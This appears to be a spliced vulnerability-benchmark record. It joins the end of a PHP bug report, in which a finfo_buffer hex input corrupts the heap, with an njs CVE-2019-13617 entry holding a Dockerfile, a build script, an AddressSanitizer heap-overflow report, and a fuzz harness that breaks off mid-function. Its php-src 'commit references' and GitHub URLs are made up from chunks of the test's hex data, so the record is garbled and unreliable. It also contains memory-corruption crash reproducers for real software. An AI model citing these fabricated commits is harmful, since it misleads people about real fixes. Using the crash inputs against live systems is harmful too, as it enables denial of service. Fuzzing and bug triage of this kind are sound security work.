Shadow gap: cc
==4777==ABORTING
Test script:
---------------
<?php
$data = hex2bin("00018a7570001097db97979897977d87979797000092001f0051000000000000000000ffff7fff00000000001e0000000000000000000000000c0000000000000000000000000000dc0000000100000000000000004f011900007f0000000000180039000000000000000000000000000000dc0000000100000000000000004f011900007f0000f500000000eeff0000000000000000010000fd00");
$f = finfo_open();
finfo_buffer($f, $data);
Expected result:
----------------
MacBinary, total length 256, Mon Feb 6 06:28:16 2040 INVALID date, modified Fri Feb 24 11:23:37 2040, creator ' ', 20225 bytes "\212" , at 0x4f81 419430527 bytes resource
Actual result:
--------------
zend_mm_heap corrupted
Comments:
[Comment 1] [2022-06-28 15:13 UTC] [email protected]
I can confirm the memory corruption, but that looks like a
libmagic issue (which may have been fixed in the meantime).
[Comment 2] [2022-06-30 14:54 UTC] [email protected]
No, this is not an upstream issue, but rather caused by a bad
patch of libmagic 5.40 and affects PHP-8.1+; we try to
`erealloc()` memory which has been `malloc()`d.
[Comment 3] [2022-06-30 15:32 UTC] [email protected]
Proposed patch: <https://gist.github.com/cmb69/90aba3c8ff8d42c5598e31846d259aa7>.
This includes updates to libmagic.patch, created by running ./generate_patch.sh.
Stas, can you please handle this?
Links: https://gist.github.com/cmb69/90aba3c8ff8d42c5598e31846d259aa7
Commit References:
00018a7570001097db97979897977d8797979700
00000000004f011900007f000000000018003900
000000000000004f011900007f0000f500000000
000000000000000000000000dc00000001000000
000000001e0000000000000000000000000c0000
0092001f0051000000000000000000ffff7fff00
0000000000000000000000000000dc0000000100
|
[
{
"content": "deb http://archive.ubuntu.com/ubuntu/ cosmic universe\n\n",
"filename": "cosmic.list"
}
] |
[
{
"sha": "00018a7570001097db97979897977d8797979700",
"url": "https://github.com/php/php-src/commit/00018a7570001097db97979897977d8797979700"
},
{
"sha": "00000000004f011900007f000000000018003900",
"url": "https://github.com/php/php-src/commit/00000000004f011900007f000000000018003900"
},
{
"sha": "000000000000004f011900007f0000f500000000",
"url": "https://github.com/php/php-src/commit/000000000000004f011900007f0000f500000000"
},
{
"sha": "000000000000000000000000dc00000001000000",
"url": "https://github.com/php/php-src/commit/000000000000000000000000dc00000001000000"
},
{
"sha": "000000001e0000000000000000000000000c0000",
"url": "https://github.com/php/php-src/commit/000000001e0000000000000000000000000c0000"
},
{
"sha": "0092001f0051000000000000000000ffff7fff00",
"url": "https://github.com/php/php-src/commit/0092001f0051000000000000000000ffff7fff00"
},
{
"sha": "0000000000000000000000000000dc0000000100",
"url": "https://github.com/php/php-src/commit/0000000000000000000000000000dc0000000100"
}
] |
njs.cve-2019-13617
|
nginx/njs
|
7b540a9bf295ba8426cc6c8962e595c0cbc6a295
| 2019-06-25T06:43:56
|
njs
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial libpcre3-dev libreadline-dev subversion
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 7b540a9bf295ba8426cc6c8962e595c0cbc6a295
WORKDIR $SRC/njs
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
./configure
make njs -j$(nproc)
mkdir -p $SEED_CORPUS_PATH
|
/src/njs
|
address
|
================= Bug Report (1/2) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/174
## Description:
Issue: nginx/njs#174
Title: heap-buffer-overflow in nxt_sprintf.c:429
State: closed
Created by: xcainiao
Created at: 2019-06-03 14:46:39+00:00
Labels: bug, fuzzer, libFuzzer
Issue Body:
Hello, I am shuoz of alpha lab of topsec. I fuzz njs and found a heap overflow bug.
./njs ./tmp.js
```
fuzz@fuzz:~/Desktop/fuzzproject/njs/build$ ./njs ./tmp.js
INFO: Seed: 2208882516
INFO: Loaded 1 modules (8780 guards): [0x8a15a0, 0x8a9ed0),
./njs: Running 1 inputs 1 time(s) each.
Running: crash-0c9fced77823aa506239627a5473e8c4bb55ec96
=================================================================
==16711==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61100000039b at pc 0x0000004dc4e2 bp 0x7ffc117a8770 sp 0x7ffc117a7f20
READ of size 217 at 0x61100000039b thread T0
#0 0x4dc4e1 in __asan_memcpy (/home/fuzz/Desktop/fuzzproject/njs/build/njs+0x4dc4e1)
#1 0x521ce2 in nxt_vsprintf /home/fuzz/Desktop/fuzzproject/njs/nxt/nxt_sprintf.c:429:15
#2 0x5ada7b in njs_parser_scope_error /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser.c:2365:9
#3 0x5ada7b in njs_parser_lexer_error /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser.c:2395
#4 0x58ab62 in njs_regexp_literal /home/fuzz/Desktop/fuzzproject/njs/njs/njs_regexp.c:364:5
#5 0x5b55fc in njs_parser_terminal /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_terminal.c:106:17
#6 0x5bcd95 in njs_parser_call_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:748:17
#7 0x5bc19b in njs_parser_post_inc_dec_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:689:13
#8 0x5bc19b in njs_parser_inc_dec_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:649
#9 0x5bc19b in njs_parser_unary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:553
#10 0x5bbb9b in njs_parser_exponential_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:476:13
#11 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#12 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#13 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#14 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#15 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#16 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#17 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#18 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#19 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#20 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#21 0x5bafec in njs_parser_conditional_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:352:13
#22 0x5bafec in njs_parser_assignment_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:228
#23 0x5bab67 in njs_parser_binary_expression /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser_expression.c:421:13
#24 0x5af3f1 in njs_parser_statement /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser.c:413:21
#25 0x5a9f04 in njs_parser_statement_chain /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser.c:280:13
#26 0x5b3af6 in njs_parser_block_statement /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser.c:465:17
#27 0x5ae2a2 in njs_parser_statement /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser.c:365:16
#28 0x5a9f04 in njs_parser_statement_chain /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser.c:280:13
#29 0x5a940a in njs_parser /home/fuzz/Desktop/fuzzproject/njs/njs/njs_parser.c:131:17
#30 0x527ae4 in njs_vm_compile /home/fuzz/Desktop/fuzzproject/njs/njs/njs.c:254:11
#31 0x517338 in njs_process_script /home/fuzz/Desktop/fuzzproject/njs/njs/njs_shell.c:780:11
#32 0x516714 in njs_process_file /home/fuzz/Desktop/fuzzproject/njs/njs/njs_shell.c:637:11
#33 0x516714 in LLVMFuzzerTestOneInput /home/fuzz/Desktop/fuzzproject/njs/njs/njs_shell.c:298
#34 0x6046a4 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerLoop.cpp:451:13
#35 0x6048d1 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long) /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerLoop.cpp:408:3
#36 0x5fab41 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerDriver.cpp:268:6
#37 0x5fda01 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerDriver.cpp:585:9
#38 0x5fa8c0 in main /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerMain.cpp:20:10
#39 0x7f07973cab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#40 0x41d769 in _start (/home/fuzz/Desktop/fuzzproject/njs/build/njs+0x41d769)
0x61100000039b is located 0 bytes to the right of 219-byte region [0x6110000002c0,0x61100000039b)
allocated by thread T0 here:
#0 0x4ddaa0 in realloc (/home/fuzz/Desktop/fuzzproject/njs/build/njs+0x4ddaa0)
#1 0x516488 in njs_process_file /home/fuzz/Desktop/fuzzproject/njs/njs/njs_shell.c:569:20
#2 0x516488 in LLVMFuzzerTestOneInput /home/fuzz/Desktop/fuzzproject/njs/njs/njs_shell.c:298
#3 0x6046a4 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerLoop.cpp:451:13
#4 0x6048d1 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long) /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerLoop.cpp:408:3
#5 0x5fab41 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerDriver.cpp:268:6
#6 0x5fda01 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerDriver.cpp:585:9
#7 0x5fa8c0 in main /home/fuzz/Desktop/libfuzzer-workshop-master/libFuzzer/Fuzzer/./FuzzerMain.cpp:20:10
#8 0x7f07973cab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/fuzz/Desktop/fuzzproject/njs/build/njs+0x4dc4e1) in __asan_memcpy
Shadow bytes around the buggy address:
0x0c227fff8020: 00 00 00 03 fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8040: 00 00 00 00 00 00 00 00 00 00 00 03 fa fa fa fa
0x0c227fff8050: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff8070: 00 00 00[03]fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8090: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
0x0c227fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==16711==ABORTING
```
pocfile:https://github.com/xcainiao/poc/blob/master/tmp.js
Comments:
Comment by Dor1s on 2019-06-03 17:36:42+00:00:
This was also found as https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15093 last week.
---
Comment by xeioex on 2019-06-03 17:45:04+00:00:
> Permission denied.
HI @Dor1s , can I get access to the ticket details?
---
Comment by Dor1s on 2019-06-03 17:50:09+00:00:
Yes! Please update the `project.yaml` file as per this comment: https://github.com/google/oss-fuzz/pull/2481#issuecomment-498109267
Or give me the contact emails and I can update it for you :)
After that, OSS-Fuzz will propagate the changes and the specified emails will get access to the bug tracker as well as ClusterFuzz interface.
Commit References:
0c9fced77823aa506239627a5473e8c4bb55ec96
================= Bug Report (2/2) ==================
## Source: Chromium
## URL: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15093
## Description:
Detailed report: https://oss-fuzz.com/testcase?key=5142265766346752
Project: njs
Fuzzer: libFuzzer_njs_process_script_fuzzer
Fuzz target binary: njs_process_script_fuzzer
Job Type: libfuzzer_asan_njs
Platform Id: linux
Crash Type: Heap-buffer-overflow READ 5
Crash Address: 0x605000000224
Crash State:
nxt_vsprintf
njs_parser_scope_error
njs_parser_lexer_error
Sanitizer: address (ASAN)
Recommended Security Severity: Medium
Reproducer Testcase: https://oss-fuzz.com/download?testcase_id=5142265766346752
Issue filed automatically.
See https://github.com/google/oss-fuzz/blob/master/docs/reproducing.md for instructions to reproduce this bug locally.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without an upstream patch, then the bug report will automatically
become visible to the public.
When you fix this bug, please
* mention the fix revision(s).
* state whether the bug was a short-lived regression or an old bug in any stable releases.
* add any other useful information.
This information can help downstream consumers.
If you need to contact the OSS-Fuzz team with a question, concern, or any other feedback, please file an issue at https://github.com/google/oss-fuzz/issues.
|
[
{
"content": "// Copyright 2019 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include <njs_core.h>\n#include <njs_builtin.h>\n\n// The vast majority of the code was copied from njs/njs_shell.c.\n\ntypedef struct {\n uint8_t disassemble;\n uint8_t interactive;\n uint8_t module;\n uint8_t quiet;\n uint8_t sandbox;\n uint8_t version;\n\n char *file;\n char *command;\n size_t n_paths;\n char **paths;\n} njs_opts_t;\n\n\ntypedef struct {\n size_t index;\n size_t length;\n nxt_array_t *completions;\n nxt_array_t *suffix_completions;\n nxt_lvlhsh_each_t lhe;\n\n enum {\n NJS_COMPLETION_VAR = 0,\n NJS_COMPLETION_SUFFIX,\n NJS_COMPLETION_GLOBAL\n } phase;\n} njs_completion_t;\n\n\ntypedef struct {\n njs_vm_event_t vm_event;\n nxt_queue_link_t link;\n} njs_ev_t;\n\n\ntypedef struct {\n njs_vm_t *vm;\n\n nxt_lvlhsh_t events; /* njs_ev_t * */\n nxt_queue_t posted_events;\n\n uint64_t time;\n\n njs_completion_t completion;\n} njs_console_t;\n\n\nstatic nxt_int_t njs_console_init(njs_vm_t *vm, njs_console_t *console);\nstatic nxt_int_t njs_externals_init(njs_vm_t *vm, njs_console_t *console);\nstatic nxt_int_t njs_interactive_shell(njs_opts_t *opts,\n njs_vm_opt_t *vm_options, nxt_str_t *line);\nstatic njs_vm_t *njs_create_vm(njs_opts_t *opts, njs_vm_opt_t *vm_options);\nstatic nxt_int_t njs_process_script(njs_console_t *console, njs_opts_t *opts,\n const nxt_str_t *script);\n\nstatic njs_ret_t njs_ext_console_log(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\nstatic njs_ret_t njs_ext_console_dump(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\nstatic njs_ret_t njs_ext_console_help(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\nstatic njs_ret_t njs_ext_console_time(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\nstatic njs_ret_t njs_ext_console_time_end(njs_vm_t *vm, njs_value_t *args,\n nxt_uint_t nargs, njs_index_t unused);\n\nstatic njs_host_event_t njs_console_set_timer(njs_external_ptr_t external,\n uint64_t delay, njs_vm_event_t vm_event);\nstatic void njs_console_clear_timer(njs_external_ptr_t external,\n njs_host_event_t event);\n\nstatic nxt_int_t lvlhsh_key_test(nxt_lvlhsh_query_t *lhq, void *data);\nstatic void *lvlhsh_pool_alloc(void *pool, size_t size, nxt_uint_t nalloc);\nstatic void lvlhsh_pool_free(void *pool, void *p, size_t size);\n\n\nstatic njs_external_t njs_ext_console[] = {\n\n { nxt_string(\"log\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_log,\n 0 },\n\n { nxt_string(\"dump\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_dump,\n 0 },\n\n { nxt_string(\"help\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_help,\n 0 },\n\n { nxt_string(\"time\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_time,\n 0 },\n\n { nxt_string(\"timeEnd\"),\n NJS_EXTERN_METHOD,\n NULL,\n 0,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n njs_ext_console_time_end,\n 0 },\n};\n\nstatic njs_external_t njs_externals[] = {\n\n { nxt_string(\"console\"),\n NJS_EXTERN_OBJECT,\n njs_ext_console,\n nxt_nitems(njs_ext_console),\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n NULL,\n 0 },\n};\n\n\nstatic const nxt_lvlhsh_proto_t lvlhsh_proto nxt_aligned(64) = {\n NXT_LVLHSH_LARGE_SLAB,\n 0,\n lvlhsh_key_test,\n lvlhsh_pool_alloc,\n lvlhsh_pool_free,\n};\n\n\nstatic njs_vm_ops_t njs_console_ops = {\n njs_console_set_timer,\n njs_console_clear_timer\n};\n\n\nstatic njs_console_t njs_console;\n\n\nstatic nxt_int_t\nnjs_console_init(njs_vm_t *vm, njs_console_t *console)\n{\n console->vm = vm;\n\n nxt_lvlhsh_init(&console->events);\n nxt_queue_init(&console->posted_events);\n\n console->time = UINT64_MAX;\n\n console->completion.completions = njs_vm_completions(vm, NULL);\n if (console->completion.completions == NULL) {\n return NXT_ERROR;\n }\n\n return NXT_OK;\n}\n\n\nstatic nxt_int_t\nnjs_externals_init(njs_vm_t *vm, njs_console_t *console)\n{\n nxt_uint_t ret;\n njs_value_t *value;\n const njs_extern_t *proto;\n\n static const nxt_str_t name = nxt_string(\"console\");\n\n proto = njs_vm_external_prototype(vm, &njs_externals[0]);\n if (proto == NULL) {\n nxt_error(\"failed to add console proto\\n\");\n return NXT_ERROR;\n }\n\n value = nxt_mp_zalloc(vm->mem_pool, sizeof(njs_opaque_value_t));\n if (value == NULL) {\n return NXT_ERROR;\n }\n\n ret = njs_vm_external_create(vm, value, proto, console);\n if (ret != NXT_OK) {\n return NXT_ERROR;\n }\n\n ret = njs_vm_external_bind(vm, &name, value);\n if (ret != NXT_OK) {\n return NXT_ERROR;\n }\n\n ret = njs_console_init(vm, console);\n if (ret != NXT_OK) {\n return NXT_ERROR;\n }\n\n return NXT_OK;\n}\n\nstatic nxt_int_t\nnjs_interactive_shell(njs_opts_t *opts, njs_vm_opt_t *vm_options, nxt_str_t *line)\n{\n njs_vm_t *vm;\n\n vm = njs_create_vm(opts, vm_options);\n if (vm == NULL) {\n return NXT_ERROR;\n }\n\n njs_process_script(vm_options->external, opts, line);\n njs_vm_destroy(vm);\n vm = NULL;\n\n return NXT_OK;\n}\n\nstatic njs_vm_t *\nnjs_create_vm(njs_opts_t *opts, njs_vm_opt_t *vm_options)\n{\n u_char *p, *start;\n njs_vm_t *vm;\n nxt_int_t ret;\n nxt_str_t path;\n nxt_uint_t i;\n\n vm = njs_vm_create(vm_options);\n if (vm == NULL) {\n nxt_error(\"failed to create vm\\n\");\n return NULL;\n }\n\n if (njs_externals_init(vm, vm_options->external) != NXT_OK) {\n nxt_error(\"failed to add external protos\\n\");\n return NULL;\n }\n\n for (i = 0; i < opts->n_paths; i++) {\n path.start = (u_char *) opts->paths[i];\n path.length = nxt_strlen(opts->paths[i]);\n\n ret = njs_vm_add_path(vm, &path);\n if (ret != NXT_OK) {\n nxt_error(\"failed to add path\\n\");\n return NULL;\n }\n }\n\n start = (u_char *) getenv(\"NJS_PATH\");\n if (start == NULL) {\n return vm;\n }\n\n for ( ;; ) {\n p = nxt_strchr(start, ':');\n\n path.start = start;\n path.length = (p != NULL) ? (size_t) (p - start) : nxt_strlen(start);\n\n ret = njs_vm_add_path(vm, &path);\n if (ret != NXT_OK) {\n nxt_error(\"failed to add path\\n\");\n return NULL;\n }\n\n if (p == NULL) {\n break;\n }\n\n start = p + 1;\n }\n\n return vm;\n}\n\n\nstatic nxt_int_t\nnjs_process_events(njs_console_t *console, njs_opts_t *opts)\n{\n njs_ev_t *ev;\n nxt_queue_t *events;\n nxt_queue_link_t *link;\n\n events = &console->posted_events;\n\n for ( ;; ) {\n link = nxt_queue_first(events);\n\n if (link == nxt_queue_tail(events)) {\n break;\n }\n\n ev = nxt_queue_link_data(link, njs_ev_t, link);\n\n nxt_queue_remove(&ev->link);\n ev->link.prev = NULL;\n ev->link.next = NULL;\n\n njs_vm_post_event(console->vm, ev->vm_event, NULL, 0);\n }\n\n return NXT_OK;\n}\n\n\nstatic nxt_int_t\nnjs_process_script(njs_console_t *console, njs_opts_t *opts,\n const nxt_str_t *script)\n{\n u_char *start;\n njs_vm_t *vm;\n nxt_int_t ret;\n\n vm = console->vm;\n start = script->start;\n\n ret = njs_vm_compile(vm, &start, start + script->length);\n\n if (ret == NXT_OK) {\n if (opts->disassemble) {\n njs_disassembler(vm);\n nxt_printf(\"\\n\");\n }\n\n ret = njs_vm_start(vm);\n }\n\n for ( ;; ) {\n if (!njs_vm_pending(vm)) {\n break;\n }\n\n ret = njs_process_events(console, opts);\n if (nxt_slow_path(ret != NXT_OK)) {\n nxt_error(\"njs_process_events() failed\\n\");\n ret = NJS_ERROR;\n break;\n }\n\n if (njs_vm_waiting(vm) && !njs_vm_posted(vm)) {\n /*TODO: async events. */\n\n nxt_error(\"njs_process_script(): async events unsupported\\n\");\n ret = NJS_ERROR;\n break;\n }\n\n ret = njs_vm_run(vm);\n }\n\n return ret;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_log(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n nxt_str_t msg;\n nxt_uint_t n;\n\n n = 1;\n\n while (n < nargs) {\n if (njs_vm_value_dump(vm, &msg, njs_argument(args, n), 1, 0)\n == NJS_ERROR)\n {\n return NJS_ERROR;\n }\n\n nxt_printf(\"%s\", (n != 1) ? \" \" : \"\");\n nxt_print(msg.start, msg.length);\n\n n++;\n }\n\n if (nargs > 1) {\n nxt_printf(\"\\n\");\n }\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_dump(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n nxt_str_t msg;\n nxt_uint_t n;\n\n n = 1;\n\n while (n < nargs) {\n if (njs_vm_value_dump(vm, &msg, njs_argument(args, n), 1, 1)\n == NJS_ERROR)\n {\n return NJS_ERROR;\n }\n\n nxt_printf(\"%s\", (n != 1) ? \" \" : \"\");\n nxt_print(msg.start, msg.length);\n\n n++;\n }\n\n if (nargs > 1) {\n nxt_printf(\"\\n\");\n }\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_help(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n const njs_object_init_t *obj, **objpp;\n\n nxt_printf(\"VM built-in objects:\\n\");\n\n for (objpp = njs_constructor_init; *objpp != NULL; objpp++) {\n obj = *objpp;\n\n nxt_printf(\" %V\\n\", &obj->name);\n }\n\n for (objpp = njs_object_init; *objpp != NULL; objpp++) {\n obj = *objpp;\n\n nxt_printf(\" %V\\n\", &obj->name);\n }\n\n nxt_printf(\"\\nEmbedded objects:\\n\");\n nxt_printf(\" console\\n\");\n\n nxt_printf(\"\\n\");\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_time(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n njs_console_t *console;\n\n if (!njs_value_is_undefined(njs_arg(args, nargs, 1))) {\n njs_vm_error(vm, \"labels not implemented\");\n return NJS_ERROR;\n }\n\n console = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (nxt_slow_path(console == NULL)) {\n return NJS_ERROR;\n }\n\n console->time = nxt_time();\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_ret_t\nnjs_ext_console_time_end(njs_vm_t *vm, njs_value_t *args, nxt_uint_t nargs,\n njs_index_t unused)\n{\n uint64_t ns, ms;\n njs_console_t *console;\n\n ns = nxt_time();\n\n if (!njs_value_is_undefined(njs_arg(args, nargs, 1))) {\n njs_vm_error(vm, \"labels not implemented\");\n return NJS_ERROR;\n }\n\n console = njs_vm_external(vm, njs_arg(args, nargs, 0));\n if (nxt_slow_path(console == NULL)) {\n return NJS_ERROR;\n }\n\n if (nxt_fast_path(console->time != UINT64_MAX)) {\n\n ns = ns - console->time;\n\n ms = ns / 1000000;\n ns = ns % 1000000;\n\n nxt_printf(\"default: %uL.%06uLms\\n\", ms, ns);\n\n console->time = UINT64_MAX;\n\n } else {\n nxt_printf(\"Timer \\\"default\\\" doesn’t exist.\\n\");\n }\n\n vm->retval = njs_value_undefined;\n\n return NJS_OK;\n}\n\n\nstatic njs_host_event_t\nnjs_console_set_timer(njs_external_ptr_t external, uint64_t delay,\n njs_vm_event_t vm_event)\n{\n njs_ev_t *ev;\n njs_vm_t *vm;\n nxt_int_t ret;\n njs_console_t *console;\n nxt_lvlhsh_query_t lhq;\n\n if (delay != 0) {\n nxt_error(\"njs_console_set_timer(): async timers unsupported\\n\");\n return NULL;\n }\n\n console = external;\n vm = console->vm;\n\n ev = nxt_mp_alloc(vm->mem_pool, sizeof(njs_ev_t));\n if (nxt_slow_path(ev == NULL)) {\n return NULL;\n }\n\n ev->vm_event = vm_event;\n\n lhq.key.start = (u_char *) &ev->vm_event;\n lhq.key.length = sizeof(njs_vm_event_t);\n lhq.key_hash = nxt_djb_hash(lhq.key.start, lhq.key.length);\n\n lhq.replace = 0;\n lhq.value = ev;\n lhq.proto = &lvlhsh_proto;\n lhq.pool = vm->mem_pool;\n\n ret = nxt_lvlhsh_insert(&console->events, &lhq);\n if (nxt_slow_path(ret != NXT_OK)) {\n return NULL;\n }\n\n nxt_queue_insert_tail(&console->posted_events, &ev->link);\n\n return (njs_host_event_t) ev;\n}\n\n\nstatic void\nnjs_console_clear_timer(njs_external_ptr_t external, njs_host_event_t event)\n{\n njs_vm_t *vm;\n njs_ev_t *ev;\n nxt_int_t ret;\n njs_console_t *console;\n nxt_lvlhsh_query_t lhq;\n\n ev = event;\n console = external;\n vm = console->vm;\n\n lhq.key.start = (u_char *) &ev->vm_event;\n lhq.key.length = sizeof(njs_vm_event_t);\n lhq.key_hash = nxt_djb_hash(lhq.key.start, lhq.key.length);\n\n lhq.proto = &lvlhsh_proto;\n lhq.pool = vm->mem_pool;\n\n if (ev->link.prev != NULL) {\n nxt_queue_remove(&ev->link);\n }\n\n ret = nxt_lvlhsh_delete(&console->events, &lhq);\n if (ret != NXT_OK) {\n nxt_error(\"nxt_lvlhsh_delete() failed\\n\");\n }\n\n nxt_mp_free(vm->mem_pool, ev);\n}\n\n\nstatic nxt_int_t\nlvlhsh_key_test(nxt_lvlhsh_query_t *lhq, void *data)\n{\n njs_ev_t *ev;\n\n ev = data;\n\n if (memcmp(&ev->vm_event, lhq->key.start, sizeof(njs_vm_event_t)) == 0) {\n return NXT_OK;\n }\n\n return NXT_DECLINED;\n}\n\n\nstatic void *\nlvlhsh_pool_alloc(void *pool, size_t size, nxt_uint_t nalloc)\n{\n return nxt_mp_align(pool, size, size);\n}\n\n\nstatic void\nlvlhsh_pool_free(void *pool, void *p, size_t size)\n{\n nxt_mp_free(pool, p);\n}\n\n\nint LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) 